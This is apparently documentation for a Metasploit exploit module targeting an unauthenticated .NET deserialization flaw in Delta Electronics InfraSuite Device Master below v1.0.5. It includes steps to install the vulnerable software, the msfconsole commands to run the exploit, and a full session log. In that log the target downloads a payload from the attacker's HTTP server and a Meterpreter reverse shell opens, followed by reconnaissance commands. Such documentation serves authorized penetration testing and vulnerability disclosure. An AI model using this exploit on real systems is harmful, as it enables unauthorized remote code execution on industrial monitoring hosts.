## Vulnerable Application

Delta Electronics InfraSuite Device Master versions below `v1.0.5` are vulnerable to
an unauthenticated .NET deserialization vulnerability in the `Device-Gateway-Status` process which
listens on port `10100` and communicates over UDP. Its `ParseUDPPacket()` method reads user-controlled
data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method without appropriate validation,
resulting in code execution as the user running the `Device-Gateway-Status` process.

### Installation Instructions

1. Unzip and run the installer from https://archive.org/details/infra-suite-device-master-00.00.01ax-64
2. Install all of the pre-requisites (Stack Builder is not needed) and reboot
3. Click `next` and ensure the three features, `Device-Monitor`, `Device-DataCollect`, and `Device-Gateway` are selected to install
4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit
5. Click `Next`, then `Install`
6. Click `Finish`, then wait for the processing of files to finish
7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click `Finish`

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/delta_electronics_infrasuite_deserialization`
4. Do: `set RHOST <IP>`
5. Do: `set INFRASUITE_PORT <PORT_NO>`
6. Do: `run`
7. You should get a meterpreter session.

## Options

### INFRASUITE_PORT

This is the option on which the web-based InfraSuite Device Manager listens. It is
only used to check the version of the software to determine exploitability. 80 by default

## Scenarios

### InfraSuite Device Master v01.00.00d on Windows 10 x64

```
msf > use exploit/windows/misc/delta_electronics_infrasuite_deserialization
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set rhost 192.168.140.187
rhost => 192.168.140.187
msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > options

Module options (exploit/windows/misc/delta_electronics_infrasuite_deserialization):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   INFRASUITE_PORT  80               yes       The port on which the InfraSuite Manager is listening
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port]
                                               [...]
   RHOSTS           192.168.140.187  yes       The target host(s), see https://docs.metasploit.com/doc
                                               s/using-metasploit/basics/using-metasploit.html
   RPORT            10100            yes       The target port (UDP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly g
                                               enerated)
   TARGETURI        /                yes       The base path to the InfraSuite Manager
   URIPATH                           no        The URI to use for this exploit (default is random)
   VHOST                             no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be
                                       an address on the local machine or 0.0.0.0 to listen on all add
                                       resses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.140.1    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows EXE Dropper



View the full module info with the info, or info -d command.


msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting the login page to determine if target is Infrasuite Device Master...
[*] Target is InfraSuite Device Master. Now attempting to determine version.
[+] The target appears to be vulnerable.
[*] Using URL: http://192.168.140.1:8080/xkRhewOXntAgYs
[*] Command Stager progress - 100.00% done (153/153 bytes)
[*] Client 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673) requested /xkRhewOXntAgYs
[*] Sending payload to 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673)
[*] Sending stage (175686 bytes) to 192.168.140.187
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.187:50409) at 2023-06-05 17:09:29 -0500
[*] Server stopped.

meterpreter > getuid
Server username: DESKTOP-R6RCNHH\space
meterpreter > sysinfo
Computer        : DESKTOP-R6RCNHH
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x86/windows
meterpreter >
```
